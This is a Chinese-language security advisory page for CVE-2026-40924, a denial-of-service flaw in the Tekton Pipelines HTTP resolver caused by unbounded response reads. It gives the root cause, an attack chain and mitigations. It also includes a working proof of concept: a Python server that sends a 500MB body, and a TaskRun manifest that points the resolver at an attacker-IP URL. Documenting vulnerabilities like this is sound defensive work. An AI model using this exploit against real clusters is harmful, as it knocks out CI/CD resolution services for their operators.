IPBUF安全漏洞报告
English
CVE-2026-40924 CVSS 6.5 中危

CVE-2026-40924 Tekton Pipelines HTTP解析器拒绝服务漏洞

披露日期: 2026-04-21

漏洞信息

漏洞编号
CVE-2026-40924
漏洞类型
拒绝服务
CVSS评分
6.5 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tekton Pipelines

相关标签

DoSTektonKubernetesOOMCVE-2026-40924拒绝服务

漏洞概述

Tekton Pipelines 在 1.11.1 版本之前存在漏洞,其 HTTP 解析器读取响应体时未限制大小。拥有创建 TaskRun 或 PipelineRun 权限的攻击者可诱导解析器访问返回超大响应的恶意服务器,导致解析器 Pod 内存溢出(OOM)崩溃,致使整个集群的解析服务不可用。

技术细节

漏洞源于 HTTP 解析器(包括旧版和新版实现)在 FetchHttpResource 函数中直接调用 io.ReadAll 读取 HTTP Body,且缺乏大小限制。攻击者利用低权限账户创建资源,引用攻击者控制的 HTTP 服务器 URL。该服务器在 1 分钟超时前发送大量数据。由于无内存上限,Pod 内存激增触发 Kubernetes OOMKiller。由于所有解析器共享该 Pod,单一崩溃导致所有解析功能瘫痪,形成拒绝服务。

攻击链分析

STEP 1
1. 权限获取
攻击者获取在 Kubernetes 集群中创建 TaskRuns 或 PipelineRuns 的低权限。
STEP 2
2. 构建恶意服务
攻击者部署一个 HTTP 服务器,配置为返回超大的响应体数据。
STEP 3
3. 触发解析请求
攻击者创建 TaskRun 或 PipelineRun,通过 HTTP 解析器引用攻击者的服务器 URL。
STEP 4
4. 资源耗尽
Tekton 解析器 Pod 读取巨大响应体,内存耗尽,触发 OOMKill 被终止。
STEP 5
5. 服务拒绝
由于所有解析器共享 Pod,整个集群的解析服务瘫痪,造成持续 DoS。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import http.server import socketserver # Malicious server to trigger OOM in Tekton resolver class OOMHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'text/plain') self.end_headers() # Send large payload (e.g., 500MB) to exhaust memory self.wfile.write(b'A' * (500 * 1024 * 1024)) with socketserver.TCPServer(("", 8080), OOMHandler) as httpd: httpd.serve_forever() # Attacker creates a Tekton TaskRun pointing to this server: # apiVersion: tekton.dev/v1 # kind: TaskRun # metadata: # name: exploit-run # spec: # taskRef: # resolver: http # params: # - name: url # value: http://<attacker-ip>:8080/malicious.yaml

影响范围

Tekton Pipelines < 1.11.1

防御指南

临时缓解措施
在未升级版本前,应限制对 HTTP 解析器的使用,仅允许受信任的用户或服务账户创建引用 HTTP 解析器的 TaskRun。同时,建议在 Kubernetes 网络策略层面阻断解析器 Pod 访问不可信的外部 IP 地址,以防止其连接到恶意服务器。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表